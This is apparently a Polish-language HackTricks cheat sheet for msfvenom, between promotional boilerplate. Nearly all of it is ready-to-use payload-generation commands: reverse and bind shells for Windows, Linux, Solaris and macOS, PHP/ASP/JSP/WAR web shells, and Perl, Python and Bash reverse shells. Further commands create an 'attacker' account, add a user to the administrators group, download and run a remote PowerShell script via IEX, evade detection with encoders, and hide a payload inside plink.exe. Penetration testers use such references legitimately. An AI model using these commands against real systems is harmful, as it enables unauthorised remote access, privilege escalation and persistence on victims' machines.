10 KiB
MSFVenom - Przegląd
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
Aktualności na żywo z hakerstwa
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom
Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Podstawowe użycie msfvenom
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
Można również użyć -a
do określenia architektury lub --platform
Lista
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
Wspólne parametry podczas tworzenia shellcode
Podczas tworzenia shellcode istnieje kilka wspólnych parametrów, które można dostosować do naszych potrzeb. Poniżej przedstawiam kilka z nich:
-
-p
lub--payload
: Określa rodzaj payloadu, który chcemy użyć. Na przykładwindows/meterpreter/reverse_tcp
lublinux/x86/shell_reverse_tcp
. -
-f
lub--format
: Określa format wyjściowy shellcode. Może to byćraw
,c
,exe
,elf
,dll
lubmsi
. -
-e
lub--encoder
: Określa kodowanie, które ma być użyte do ukrycia shellcode. Na przykładx86/shikata_ga_nai
lubx86/jmp_call_additive
. -
-b
lub--bad-chars
: Określa listę niedozwolonych znaków, które należy unikać w shellcode. -
-i
lub--iterations
: Określa liczbę iteracji, które mają być wykonane przez kodowanie. -
-s
lub--space
: Określa ilość dostępnego miejsca w pamięci, które może być użyte przez shellcode. -
-a
lub--arch
: Określa architekturę, dla której ma być stworzony shellcode. Na przykładx86
,x64
lubarmle
. -
-o
lub--out
: Określa ścieżkę do pliku wyjściowego, w którym zostanie zapisany shellcode. -
-v
lub--var-name
: Określa nazwę zmiennej, do której zostanie przypisany shellcode w języku C. -
-x
lub--template
: Określa plik szablonu, który ma być użyty do wygenerowania shellcode. -
-k
lub--keep
: Pozwala zachować plik wykonywalny, który został użyty do wygenerowania shellcode. -
-h
lub--help
: Wyświetla pomoc dotyczącą dostępnych parametrów.
Pamiętaj, że te parametry mogą się różnić w zależności od narzędzia, które używasz do tworzenia shellcode.
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
Windows
Odwrócona powłoka
{% code overflow="wrap" %}
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
Powiązanie powłoki (Bind Shell)
{% code overflow="wrap" %}
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
{% code overflow="wrap" %}
Utwórz użytkownika
{% code %}
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
{% code overflow="wrap" %}
Powłoka CMD
{% code %}
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
{% code overflow="wrap" %}
Wykonaj polecenie
{% code %}
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
{% endcode %}
Kodowanie
{% code overflow="wrap" %}
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
{% endcode %}
Osadzone wewnątrz pliku wykonywalnego
{% code overflow="wrap" %}
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
{% endcode %}
Linuxowe Payloady
Odwrócony Shell
{% code overflow="wrap" %}
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
Powiązanie powłoki (Bind Shell)
{% code overflow="wrap" %}
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
{% endcode %}
SunOS (Solaris)
{% code overflow="wrap" %}
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
{% endcode %}
Payloady dla systemu MAC
Odwrócona powłoka:
{% code overflow="wrap" %}
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
Bind Shell
{% code overflow="wrap" %}
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
{% endcode %}
Payloady oparte na sieci
PHP
Odwrócony shell
{% code overflow="wrap" %}
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
{% endcode %}
ASP/x
Odwrócony shell
{% code overflow="wrap" %}
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
{% endcode %}
JSP
Odwrócony shell
{% code overflow="wrap" %}
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
{% endcode %}
WAR
Odwrócony Shell
{% code overflow="wrap" %}
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
{% code %}
NodeJS
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
Skrypty w języku
Perl
{% code overflow="wrap" %}
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
{% endcode %}
Python
{% code overflow="wrap" %}
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
{% endcode %}
Bash
{% code overflow="wrap" %}
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
{% endcode %}
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Wgląd w hakerstwo
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa.
Aktualności o hakerstwie na żywo
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom.
Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy.
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Naucz się hakerstwa AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.